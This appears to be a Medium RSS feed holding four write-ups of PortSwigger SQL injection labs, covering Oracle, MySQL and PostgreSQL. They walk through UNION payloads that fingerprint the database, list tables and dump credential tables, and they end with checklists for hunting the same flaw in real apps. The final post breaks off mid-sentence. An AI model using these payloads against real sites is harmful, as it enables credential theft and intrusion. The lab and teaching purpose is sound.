<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by morgan_hack on Medium]]></title>
        <description><![CDATA[Stories by morgan_hack on Medium]]></description>
        <link>https://medium.com/@guyani?source=rss-6d3d88fdadd3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*lJLaKkxGoWtfERbsBpL5tQ.jpeg</url>
            <title>Stories by morgan_hack on Medium</title>
            <link>https://medium.com/@guyani?source=rss-6d3d88fdadd3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:45:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@guyani/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Database Handed Me Every Password — It Just Needed the Right Table Name]]></title>
            <link>https://medium.com/@guyani/the-database-handed-me-every-password-it-just-needed-the-right-table-name-293927ea7ea5?source=rss-6d3d88fdadd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/293927ea7ea5</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[morgan_hack]]></dc:creator>
            <pubDate>Thu, 25 Jun 2026 19:42:59 GMT</pubDate>
            <atom:updated>2026-06-25T19:42:59.114Z</atom:updated>
            <content:encoded><![CDATA[<p><em>One quote, one Oracle quirk, and a gift shop printed its entire user list.</em></p><p>Lab six of my SQL injection series.</p><p>Labs 1–2 taught me to bend a query. Labs 3–4 made the database say its own name. Lab 5, PostgreSQL handed me its users table. Today the target runs <strong>Oracle</strong> — and Oracle plays by stricter rules. Same attack, one stubborn quirk you have to respect, or nothing works.</p><p>Yesterday PostgreSQL talked easily. Today Oracle made me say please.</p><h3>The bug, in plain words</h3><p>The shop has a category filter. Click “Gifts,” the page reloads with matching products.</p><p>Behind that click, the server glues your category value straight into a SQL query. No cleaning. So I attach my own SQL using <strong>UNION</strong> — a keyword that stacks a second query’s rows under the first. The page shows products. UNION a second query, and my data rides out on the same page.</p><p>There’s a hidden table holding usernames and passwords. The whole job is steering the bug toward it.</p><p>The Oracle twist: Oracle refuses any SELECT with no table. Every query needs a FROM. That one rule shapes everything today.</p><h3>What I Noticed</h3><p>A normal shop. Nothing screams “hack me.” Good — real targets never do.</p><p>I opened Burp Suite (sits between my browser and the site, lets me read and edit every request) and clicked a category:</p><pre>GET /filter?category=Pets</pre><p>There it is. category is my word, walking into the database. Sent it to Repeater (resends one request with edits, no clicking around).</p><p>The rudest first test — one single quote:</p><pre>?category=Pets&#39;</pre><p>The page collapsed:</p><pre>HTTP/2 500 Internal Server Error<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wRyAKSdTFaU858xqWOPPkA.png" /></figure><h3>The action</h3><p><strong>Step 1 — count the columns.</strong> UNION needs my second query to have the same column count as the first. I climb with ORDER BY (sort by column 1, then 2, then 3):</p><pre>?category=Pets&#39;+ORDER+BY+1--<br>?category=Pets&#39;+ORDER+BY+2--<br>?category=Pets&#39;+ORDER+BY+3--</pre><p><strong>Step 2 — and here Oracle bit me.</strong> I sent the normal UNION:</p><pre>?category=Pets&#39;+UNION+SELECT+&#39;abc&#39;,&#39;def&#39;--</pre><p>500 error. But my count was right. Why fail?</p><p>This <em>is</em> the fingerprint. Oracle is the only major database that refuses a SELECT with no table. The crash wasn&#39;t a dead end — it named the engine. So I gave Oracle its built-in dummy table, dual:</p><pre>?category=Pets&#39;+UNION+SELECT+&#39;abc&#39;,&#39;def&#39;+FROM+dual--</pre><p>Page loads clean. The plain version failed, the dual version worked — that contrast told me Oracle without a single version query. The database fingerprinted itself by how it reacted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qLAV5jskUnvhv2sJTyG6dg.png" /></figure><p><strong>Step 3 — list the tables.</strong> Oracle uses all_tables, not information_schema:</p><pre>?category=Pets&#39;+UNION+SELECT+table_name,NULL+FROM+all_tables--</pre><p>A wall of Oracle system tables poured out — SDO_, KU$, DR$, WWV_, dozens of them. Noise. But one name didn&#39;t belong:</p><pre>USERS_GCFPZJ</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kvzB1XiD3ynJxAEJfJ7dtQ.png" /></figure><p>Randomized suffix. You can’t guess that — you find it. That’s my target.</p><p>table list with USERS_GCFPZJ visible among the system tables</p><p><strong>Step 4 — get its columns.</strong> Oracle uses all_tab_columns:</p><pre>?category=Pets&#39;+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name=&#39;USERS_GCFPZJ&#39;--</pre><p>The two names I need surfaced from that table:</p><pre>USERNAME_XQZBGO<br>PASSWORD_EGQKEW</pre><p>Both randomized, matching the table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aO4za8fy08NS2uyXPXu5Lg.png" /></figure><p><strong>Step 5 — dump it.</strong> Username in column one, password in column two:</p><pre>?category=Pets&#39;+UNION+SELECT+USERNAME_XQZBGO,PASSWORD_EGQKEW+FROM+USERS_GCFPZJ--<br><br></pre><h3>What fell out</h3><p>The product list didn’t stop at products. At the bottom, in plain text, every account:</p><p>administrator <br>carlos […]<br>wiener […]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KTijn3biLHHO825S-ancTg.png" /></figure><p>I copied the administrator password, went to /my-account, logged in. Lab solved</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sAXsGRTWrjhnDKKQ9JdroA.png" /></figure><h3>Why This Works</h3><p>all_tables and all_tab_columns aren&#39;t flaws. Oracle ships them by default, like every database ships a catalog of itself. That&#39;s normal.</p><p>The flaw is the app trusting the category value and gluing it into the query as text, instead of using a <strong>parameterized query</strong> (input passed as data, never as code). One quote closes the string early, and the rest of my input runs as SQL.</p><p>Developers cause this by reusing a quick query builder for a filter, assuming category names come from a fixed dropdown. But the request is fully in the user’s hands — dropdown or not. The fix is one line. The shortcut ships anyway, into half the internet.</p><h3>Real Bug Bounty Payouts</h3><p>Listing database contents — the exact move here — is the core of nearly every serious SQLi report:</p><ul><li><strong>Mail.ru — $7,500 (HackerOne).</strong> SQLi with the output returned straight in the response. Same pattern as this lab, real platform, real money.</li><li><strong>Valve / Steam — $25,000 (HackerOne).</strong> SQL injection through a countryFilter[] parameter in a reporting page — a filter input, same species as the category filter I cracked here.</li><li><strong>Uber — $2,500 (HackerOne).</strong> SQLi in third-party software on their stack. The vulnerable code doesn’t have to be yours to cost you.</li><li><strong>Razer — $2,000 (HackerOne).</strong> SQLi through a list[] parameter on an admin panel — filter-style input, exactly like this.</li></ul><p>From two grand to twenty-five, every one started where I started: a single parameter that trusted what it was told.</p><h3>Where to Hunt This in Real Apps</h3><p>The field checklist for the next live target:</p><ul><li>Test any filter, search, or sort parameter — category, sort, q, id. Those talk straight to the database.</li><li>Single quote first. A 500, a blank page, a changed result — any of those is a tell.</li><li>Count columns with ORDER BY before reaching for UNION. Last working number is your width.</li><li>Let the database fingerprint itself. A UNION that fails <em>with the right column count</em> points at Oracle — it needs FROM dual. A working @@version says MySQL/MSSQL. pg_ table names say PostgreSQL.</li><li>Match the dialect: Oracle uses all_tables / all_tab_columns; the rest use information_schema.</li><li>Table and column names are randomized. Find them, never guess.</li><li>A users table plus a login form is your top target. Go straight there.</li><li>Payload does nothing? Check the raw request for doubled parameters first.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=293927ea7ea5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Asked PostgreSQL a Question It Wasn’t Supposed to Answer]]></title>
            <link>https://medium.com/@guyani/i-asked-postgresql-a-question-it-wasnt-supposed-to-answer-2c0a8dff5c08?source=rss-6d3d88fdadd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c0a8dff5c08</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[website]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[sql-server]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[morgan_hack]]></dc:creator>
            <pubDate>Wed, 24 Jun 2026 22:03:53 GMT</pubDate>
            <atom:updated>2026-06-24T22:03:53.467Z</atom:updated>
            <content:encoded><![CDATA[<p><em>One quote, one filter box, and the database gave me every password on the site.</em></p><p>Lab five of my SQL injection series.</p><p>Labs 1–2 taught me to bend a query. Labs 3–4 taught me to make the database say its name. This one is the payoff. No more “what database is this.” Now it’s “hand me every username and password.”</p><h3>The bug, in plain words</h3><p>The site has a category filter. Click “Pets,” the page reloads with matching products.</p><p>Behind that click, the server glues your category value straight into a SQL query. No filtering. So I can attach my own SQL using <strong>UNION</strong> — a keyword that stacks a second query’s rows under the first. The page shows products. UNION in a second query, and <em>my</em> data shows up on the same page.</p><p>There’s a hidden table with usernames and passwords. I just had to steer the bug toward it.</p><h3>What I noticed</h3><p>A normal shop. Nothing screams “hack me.” That’s normal.</p><p>I opened <strong>Burp Suite</strong> (sits between my browser and the site, lets me read and edit every request) and clicked a category:</p><pre>GET /filter?category=Clothing%2c+shoes+and+accessories HTTP/2</pre><p>%2c is the encoded comma in the category name. Sent it to <strong>Repeater</strong> (resends one request with edits, no clicking around). Quick checks first: a single quote to break the query, then a column count. Two columns, both hold text. Green light.</p><h3>The action</h3><p><strong>Step 1 — break the query.</strong> Add one single quote to the category value:</p><pre>?category=Clothing%2c+shoes+and+accessories&#39;</pre><p>The page errors out. That quote landed inside the SQL and broke its syntax. Injection confirmed.</p><p><strong>Step 2 — count the columns.</strong> UNION only works if my second query has the <em>same</em> number of columns as the first. So I count. I climb with ORDER BY (sort by column 1, then 2, then 3…):</p><pre>?category=Clothing%2c+shoes+and+accessories&#39;+ORDER+BY+1--<br>?category=Clothing%2c+shoes+and+accessories&#39;+ORDER+BY+2--<br>?category=Clothing%2c+shoes+and+accessories&#39;+ORDER+BY+3--</pre><p>-- comments out the rest of the original query. ORDER BY 2 works, ORDER BY 3 errors. So the query returns <strong>2 columns</strong>.</p><p><strong>Step 3 — confirm both hold text.</strong> I’ll be dumping strings, so I need text columns. Test with markers:</p><pre>?category=Clothing%2c+shoes+and+accessories&#39;+UNION+SELECT+&#39;abc&#39;,&#39;def&#39;--</pre><p>abc and def show on the page. Both columns take text. Now I can ask real questions.</p><p><strong>Step 4 — list every table:</strong></p><pre>?category=Clothing%2c+shoes+and+accessories&#39;+UNION+SELECT+table_name,NULL+FROM+information_schema.tables--</pre><p>information_schema.tables is a built-in list of every table in the database. (Oracle calls it all_tables — different dialect, different lab.)</p><p>wall of table names starting with pg_]</p><p>The response fills with names like pg_event_trigger, pg_shdescription. Every pg_ = PostgreSQL. The table names fingerprinted the database for me. No version query needed.</p><p><strong>Step 5 — cut the noise.</strong> 200 tables is too many. I make the database filter itself:</p><pre>...+FROM+information_schema.tables+WHERE+table_name+LIKE+&#39;%25users%25&#39;--</pre><p>LIKE &#39;%users%&#39; = any name with &quot;users&quot; in it. %25 is the encoded %.</p><p>One hit: users_zdxxgl. Randomized name, so you can&#39;t copy a guess — you find it.</p><p><strong>Step 6 — get its columns:</strong></p><pre>...SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name=&#39;users_zdxxgl&#39;--</pre><p>[INSERT SCREENSHOT: username_kehtjz and password_lohtdo]</p><p>username_kehtjz and password_lohtdo. Got everything.</p><p><strong>Step 7 — dump the credentials:</strong></p><pre>...SELECT+username_kehtjz,password_lohtdo+FROM+users_zdxxgl--</pre><p>First try did nothing — plain products, no error. I checked the raw request: /filter??category=?category=.... The parameter had doubled while I edited. The server ignored the broken URL.</p><p>Fix: select the whole path, delete it, retype once. Clean.</p><h3>What fell out</h3><p>Sent it again. This time the table didn’t stop at products. At the bottom — usernames against passwords, plain text, right in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oVUc6Nc8hDw8GqqHhok3iA.png" /></figure><p>dumped rows including administrator</p><p>Copied the administrator password. Logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*waWweT_7jGk8FgbJ-p2QiQ.png" /></figure><h3>Why this works</h3><p>information_schema isn&#39;t a flaw. PostgreSQL, MySQL, and MSSQL all ship it by default.</p><p>The flaw is the app trusting the category value and gluing it into the query as text, instead of using a <strong>parameterized query</strong> (input passed as data, never as code). One quote closes the string early, and the rest of my input runs as SQL.</p><p>Devs cause this by reusing a quick query builder for a filter, assuming category names are a fixed list. But the request is fully in the user’s hands — dropdown or not.</p><h3>What it costs the business</h3><p>One filter box dumping the user table is a full breach. Quick version:</p><ul><li><strong>Fines</strong> — leaked credentials is a reportable breach. GDPR goes up to 4% of global turnover.</li><li><strong>Cleanup</strong> — forced resets, notifications, legal, support hours. Lands whether or not data was misused.</li><li><strong>Trust</strong> — leaked passwords is a headline. Customers leave.</li><li><strong>Worse</strong> — reading the user table is the floor. Same hole can lead to file access or server takeover.</li></ul><p>Fix costs ten minutes. Breach costs a quarter.</p><h3>Real bug bounty payouts</h3><ul><li><strong>Mail.ru — $7,500</strong> (HackerOne). SQLi with output straight in the response — same pattern, real platform.</li><li><strong>Uber — $2,500</strong> (HackerOne). SQLi in third-party software on their stack. Vulnerable code doesn’t have to be yours.</li><li><strong>Razer — $2,000</strong> (HackerOne). SQLi through a list[] param on an admin panel — filter-style input, like here.</li><li><strong>LocalTapiola — $1,350</strong> (HackerOne). SQLi via a ctx param. Same root cause, different field.</li></ul><h3>Where to hunt this in real apps</h3><ul><li>Any filter/search/sort param (category, sort, q) — test it.</li><li>Single quote first. Error or broken page = green light.</li><li>Count columns before anything — ORDER BY or UNION SELECT NULL.</li><li>Let table names fingerprint the database. pg_ = PostgreSQL.</li><li>Don’t scroll noise — filter in SQL with LIKE &#39;%keyword%&#39;.</li><li>A users table + a login form = your top target. Go straight there.</li><li>Payload does nothing? Check the raw request for doubled params first.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c0a8dff5c08" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Database That Couldn’t Keep a Secret]]></title>
            <link>https://medium.com/@guyani/the-database-that-couldnt-keep-a-secret-0e99202ab81b?source=rss-6d3d88fdadd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e99202ab81b</guid>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[website]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[morgan_hack]]></dc:creator>
            <pubDate>Tue, 23 Jun 2026 21:11:17 GMT</pubDate>
            <atom:updated>2026-06-23T21:11:17.619Z</atom:updated>
            <content:encoded><![CDATA[<p><em>I asked a MySQL server one rude question. It answered with its full name, version, and operating system — in front of everyone</em></p><p><strong>PortSwigger SQL Injection Series — Lab 4 of the run.</strong> We’ve climbed steadily: Lab 1, pulling hidden data out of a WHERE clause. Lab 2, walking past a login without a password. Lab 3, making an <em>Oracle</em> database confess its version through a UNION. Today is Lab 4 — the same version-confession move, but against <strong>MySQL</strong>. One technique, a new dialect. If you followed the Oracle write-up, you already know 90% of this. Watch what changes.</p><p>Yesterday, an Oracle database told me its version.</p><p>Today, I went back for the sequel — and made MySQL talk too.</p><p>Same con. New accent.</p><p>That’s the trick this part of the series drills into you: it isn’t ten attacks, it’s <em>one</em> attack wearing ten costumes. Learn the skeleton once. Then you just swap the grammar for whichever database is hiding behind the website. Oracle yesterday. MySQL today. The move never changes — only the words do.</p><p>Here’s how it falls, with zero hints, the way a real tester walks in.</p><h3>The bug in plain words</h3><p>Picture a website as a clerk who takes your request and walks to the back room to ask the database.</p><p>You click “Lifestyle.” The clerk writes a note: <em>“Bring me every product where the category is Lifestyle,”</em> and slides it through the window.</p><p>SQL injection (SQLi) is what happens when the clerk is dumb enough to copy your words onto the note <strong>exactly as you say them</strong>. So instead of saying “Lifestyle,” you say “Lifestyle — oh, and also bring me the keys to the vault.” And the clerk, never looking up, writes the whole thing down and walks to the back.</p><p>The magic word today is UNION. In SQL, UNION welds the results of a <em>second</em> question onto the first. If the clerk copies your words, you slip your own question in behind theirs — and the answer comes back out the same window, sitting right next to the products.</p><h3>What I Noticed</h3><p>I wasn’t hacking. I was shopping.</p><p>Clicking through the store like any bored customer — Gifts, Lifestyle, Food &amp; Drink. And every click left a fingerprint in the address bar:</p><pre>/filter?category=Gifts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_HcwUE3932qPXPBjiwy2IQ.png" /></figure><p>There it is. category is <em>my</em> word, going somewhere into the back room. And whenever I see my own input ride into a database, I do the rudest possible thing first — I jam a single quote into it and listen for the crash.</p><p>I sent it through Burp Repeater (a tool that lets me fire the same web request again and again, tweaking one character at a time):</p><pre>/filter?category=Gifts&#39;</pre><p>The page didn’t blink. It <em>collapsed</em>:</p><pre>HTTP/2 500 Internal Server Error</pre><p>One apostrophe should never knock over a website. This one did — because my quote didn’t land in a search box. It landed <em>inside the database’s sentence</em> and snapped its grammar in half.</p><p>That 500 isn’t an error. It’s an unlocked door swinging open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-CESR1Nn9AhfHQJMW3NZkw.png" /></figure><h3>The action</h3><p><strong>Step 1 — count the seats at the table.</strong></p><p>A UNION is fussy. My smuggled question must return the <strong>exact same number of columns</strong> as the original, or the whole thing rejects. So before anything clever, I count.</p><p>ORDER BY n means &quot;sort by column number n.&quot; Ask for a column that doesn&#39;t exist, and the database snaps back with an error. So I climb the stairs one at a time:</p><pre>/filter?category=Lifestyle&#39; ORDER BY 1-- -<br>/filter?category=Lifestyle&#39; ORDER BY 2-- -<br>/filter?category=Lifestyle&#39; ORDER BY 3-- -</pre><p>(That -- - on the end is a SQL comment — it tells the database &quot;ignore everything after this,&quot; so the leftovers of the original sentence don&#39;t trip me. MySQL is picky: the comment needs a trailing space, which is why it&#39;s dash-dash-<em>space</em>-dash. Miss the space and you&#39;ll chase a ghost for an hour.)</p><p>The results drew me a map:</p><ul><li>ORDER BY 2 → page loads, calm as ever.</li><li>ORDER BY 3 → 500.</li></ul><p>There’s no third column. So the table has exactly <strong>2 columns</strong>. That crash wasn’t failure — it was the database answering my question without meaning to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWWcTL1vIo1WtDSeyxrbTQ.png" /></figure><p><strong>Step 2 — make sure my fake question fits.</strong></p><p>Now I send a UNION with exactly two columns. And here&#39;s the dialect twist from the Oracle lab: Oracle is precious — it refuses a SELECT with no table, so over there I had to bolt on FROM dual. MySQL doesn&#39;t care. A bare SELECT is perfectly happy. No FROM needed.</p><pre>/filter?category=Gifts&#39; UNION SELECT NULL,NULL-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XdG5_FKoc2aWZZCUxXjz9Q.png" /></figure><p>(NULL is just an empty seat — it fits any column type, so nothing clashes while I&#39;m still feeling out the shape.)</p><p>Page loads clean. My question fits the window perfectly.</p><p><strong>Step 3 — ask the rude question.</strong></p><p>MySQL keeps its version stamped in a built-in tag called @@version. I drop that into the first seat and send it:</p><pre>/filter?category=Gifts&#39; UNION SELECT @@version,NULL --</pre><h3>What fell out</h3><p>Where a tidy little category name should have been, the page now read:</p><pre>8.0.42-0ubuntu0.20.04.1</pre><p>I’ll translate. The database had just announced, to a stranger, in public: <em>“I am MySQL 8.0.42, and I live on Ubuntu 20.04.”</em></p><p>Lab solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qBK0__4nHaN6oXv4bYKOSQ.png" /></figure><p>It looks like a boring string of numbers. It is the opposite of boring. A version number is a treasure map — it tells an attacker exactly which known weaknesses fit this exact build. And more than that, it’s proof: if I can make the database hand me <em>its own name</em>, I can make it hand me anything it’s holding.</p><h3>Why This Works</h3><p>The root cause is one tired shortcut: the app builds its SQL by <strong>string concatenation</strong> — literally pasting my words into the sentence, like this:</p><pre>SELECT name, price FROM products WHERE category = &#39;INPUT_HERE&#39;</pre><p>When INPUT_HERE becomes Lifestyle&#39; UNION SELECT @@version,NULL-- -, the database doesn&#39;t see a shopping category. It sees a brand-new command and dutifully runs it.</p><p>Why do developers keep doing this? Because gluing strings together is the <em>obvious</em> way to build a sentence, and it works flawlessly in testing — no normal customer types an apostrophe when they click “Lifestyle.” The real fix (parameterised queries — a method that locks your input as <em>data</em> forever, never code) is one extra line and a habit nobody bothered to teach. So the shortcut ships. And it ships into half the internet.</p><h3>Real Bug Bounty Payouts</h3><p>If this still feels like a toy, look at the receipts. Asking a database its type and version is step one of nearly every serious SQLi report ever filed:</p><ul><li><strong>Starbucks — $4,000 (HackerOne).</strong> A researcher found a time-based SQL injection, handed it to sqlmap, and the tool spat back the version: <em>Microsoft SQL Server 2012</em>. Behind that one injection sat nearly a million records of real accounting data. The exact “make the database say its name” move you just read — pointed at a global coffee empire.</li><li><strong>Valve / Steam — $25,000 (HackerOne).</strong> A SQL injection through a countryFilter[] parameter in a reporting page. A filter dropdown — the same species of input as the category filter I just cracked — became a door into one of the biggest platforms in gaming.</li><li><strong>Mail.ru — $15,000 (HackerOne).</strong> A time-based blind SQL injection on their ride-hailing service. Nothing ever printed on the page here — the database leaked its secrets through <em>timing</em> instead. That’s today’s trick’s meaner, quieter cousin.</li><li><strong>Zomato — $1,000 (HackerOne).</strong> A UNION-based injection that also had to slip past a WAF (Web Application Firewall — a bouncer that blocks obvious-looking payloads). Same UNION SELECT I used, with the real-world catch of having to dodge the doorman.</li></ul><p>From a grand to twenty-five, every one of them started where I started today: a single parameter that trusted what it was told.</p><h3>Where to Hunt This in Real Apps</h3><p>The field checklist for the next live target:</p><ul><li><strong>Go for inputs that fetch or filter data</strong> — category, search, sort, id= lookups, anything that returns a list. Those talk straight to the database.</li><li><strong>Throw the single quote first.</strong> A 500, a blank page, a result that suddenly changes — any of those is a tell.</li><li><strong>Nothing changed? Go boolean.</strong> Pit &#39; AND 1=1-- - (true) against &#39; AND 1=2-- - (false). Different responses mean injection, even when errors are hidden.</li><li><strong>Count columns with </strong><strong>ORDER BY</strong> before you reach for UNION. The number that finally errors, minus one, is your width.</li><li><strong>Let the crash name the engine.</strong> ORA- screams Oracle; a complaint about FROM, or @@version working, points at MySQL or SQL Server. The error text fingerprints the database for free.</li><li><strong>Then ask for the version</strong> in the right accent — @@version (MySQL/MSSQL) or banner FROM v$version (Oracle).</li><li><strong>Confirm by hand, then call sqlmap.</strong> Real targets sit behind WAFs that flag sqlmap’s noisy defaults the second it opens its mouth. Prove the bug manually, <em>then</em> automate for the report.</li><li><strong>Never forget the business impact.</strong> Version disclosure leads to targeted exploits. A full dump leads to breach-response bills, GDPR-class fines, and customers who never come back. One careless filter can end as a server takeover.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e99202ab81b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Made the Database Confess Its Own Name]]></title>
            <link>https://medium.com/@guyani/i-made-the-database-confess-its-own-name-e53bea17470b?source=rss-6d3d88fdadd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/e53bea17470b</guid>
            <category><![CDATA[bug-hunter]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[morgan_hack]]></dc:creator>
            <pubDate>Mon, 22 Jun 2026 22:21:05 GMT</pubDate>
            <atom:updated>2026-06-22T22:21:05.676Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Part 3 of my SQL injection series. First I stole hidden data. Then I logged in as admin with no password. This time, I make the database tell me exactly what it is — because that one answer unlocks everything that comes next.</em></p><p>Three labs in, and the pattern is clear.</p><p>In Lab 1, I pulled out products the shop was hiding from customers. In Lab 2, I walked into the admin account without a password. Both were loud, obvious wins.</p><p>This one is quieter. And in a real attack, it’s the move that matters <em>most</em> — because it comes first.</p><p>Before an attacker steals your data, they ask one question: <strong>what database am I even talking to?</strong> Get that answer, and every later attack becomes a precision strike instead of a guess.</p><p>This lab ran on <strong>Oracle</strong> [one of the big, expensive databases that banks and enterprises run on]. And I made a gift-shop page print Oracle’s full version string in plain sight.</p><p><strong>The bug in plain words.</strong> The website builds its database question by gluing my typing directly into it. Nothing checks my input. So if I type database commands, the database obeys them as if a developer wrote them. That’s SQL injection [SQL is the language databases speak; “injection” means slipping my own commands into it].</p><h4>What I Noticed</h4><p>I opened the shop through <strong>Burp Suite</strong> [a tool that sits between my browser and the website so I can read and edit every request before it’s sent].</p><p>Clicking a product category fired one request:</p><pre>GET /filter?category=Gifts</pre><p>That category=Gifts is <em>my</em> input reaching the database. That&#39;s the doorway. I sent the request to <strong>Burp Repeater</strong> [a panel where I change one request and re-send it as many times as I want].</p><p>Then the oldest test in the book. Add a single quote:</p><pre>GET /filter?category=Gifts&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-CESR1Nn9AhfHQJMW3NZkw.png" /></figure><p><strong>500 Internal Server Error </strong>: 500 error after the single quote</p><p>That error is a confession. My quote broke the database’s own sentence. My input lands inside the query, raw and untrusted. We’re in.</p><h4>The action, step by step</h4><p>I’m setting up a <strong>UNION attack</strong> [UNION staples a second result onto the first one, so my data rides out alongside the real product data]. UNION has one rule: both halves must have the <em>same number of columns</em> [columns = the vertical fields in a result, like a spreadsheet’s headers]. So first, I count them.</p><p>I climb with ORDER BY [sorts the results by column number — and throws an error the moment I name a column that doesn&#39;t exist:</p><pre>Gifts&#39; ORDER BY 1--   -&gt; 200 OK<br>Gifts&#39; ORDER BY 2--   -&gt; 200 OK<br>Gifts&#39; ORDER BY 3--   -&gt; 500 error<br><br></pre><p>The -- is a comment [it deletes whatever the developer wrote after my payload, so their leftover quote can&#39;t break my line]. Column 3 doesn&#39;t exist. The query has <strong>2 columns</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWWcTL1vIo1WtDSeyxrbTQ.png" /></figure><pre>Now I try two empty columns:</pre><p><strong>500 error.</strong> The count is right, so why fail? <em>This is the clue.</em> Oracle is the only major database that refuses a SELECT with no table attached. So I give it Oracle’s built-in dummy table, dual:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XdG5_FKoc2aWZZCUxXjz9Q.png" /></figure><p><strong>500 error.</strong> The count is right, so why fail? <em>This is the clue.</em> Oracle is the only major database that refuses a SELECT with no table attached. So I give it Oracle’s built-in dummy table, dual:</p><pre>Gifts&#39; UNION SELECT NULL,NULL FROM dual--</pre><p>That one word — dual — is the fingerprint. Only Oracle needs it. I now know the database brand without it ever telling me directly.</p><p>Which column actually shows on the page? I swap the empty values for bright labels:</p><pre>Gifts&#39; UNION SELECT &#39;abc&#39;,&#39;def&#39; FROM dual--</pre><p>Both abc and def appear in the product list. Both columns print text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ArVvpzea63rVQNwCHo5X6Q.png" /></figure><h4>What fell out</h4><p>Oracle stores its version in a built-in view called v$version, in a column named BANNER. I ask for it:</p><pre>Gifts&#39; UNION SELECT BANNER,NULL FROM v$version--</pre><p>And the page — a listing for a gift shop — calmly prints Oracle’s full version banne</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qBK0__4nHaN6oXv4bYKOSQ.png" /></figure><p>Brand. Edition. Exact version number.</p><p>That string is the master key. It tells an attacker precisely which known break-ins [public exploits tied to that exact version] will work next.</p><p><em>(One honest stumble: I kept typing new payloads over half-erased old ones, making junk like </em><em>Gifts&#39;Gifts&#39; and random 500s. The fix is dull but real — delete the whole value after </em><em>category= before typing the next one.)</em></p><h4>Why This Works</h4><p>The developer wrote something like ... WHERE category = &#39;[your input]&#39; and dropped my input straight in. There&#39;s no wall between <em>code</em> and <em>data</em>, so my data becomes code.</p><p>The real fix is a <strong>parameterized query</strong> [the input is handed to the database as a sealed value that can never be read as a command]. Developers cause this by building queries with simple text-joining because it’s fast and feels harmless — right up until someone sends a quote.</p><h4>What This Costs a Real Business</h4><p>On its own, leaking a version number sounds minor. It isn’t. It’s the cheap first domino — and here’s the line of dominoes behind it:</p><ul><li><strong>Reconnaissance that arms the attacker.</strong> The exact version maps straight to a list of public exploits. The attacker stops guessing and starts aiming.</li><li><strong>Full data breach.</strong> The same injection that reads the version reads the tables — customer names, emails, password hashes [scrambled passwords that can often be cracked], order history, payment details.</li><li><strong>Regulatory fines.</strong> Under GDPR [the EU data-protection law], a serious breach can cost up to €20 million or 4% of worldwide annual revenue, whichever is larger.</li><li><strong>Breach-response bills.</strong> Mandatory customer notifications, free credit monitoring, forensic investigators, and lawyers — all before a single lawsuit lands.</li><li><strong>Lost customers and brand damage.</strong> “Our shop got hacked” is the kind of headline people remember when they choose where to spend next.</li><li><strong>Server takeover.</strong> On some setups, database features let an attacker run operating-system commands — turning a leaky web form into full control of the machine.</li></ul><p>Now stack the series together. Lab 1 read hidden data. Lab 2 bypassed the login. Lab 3 identified the engine. Chain those three on a real site and you don’t 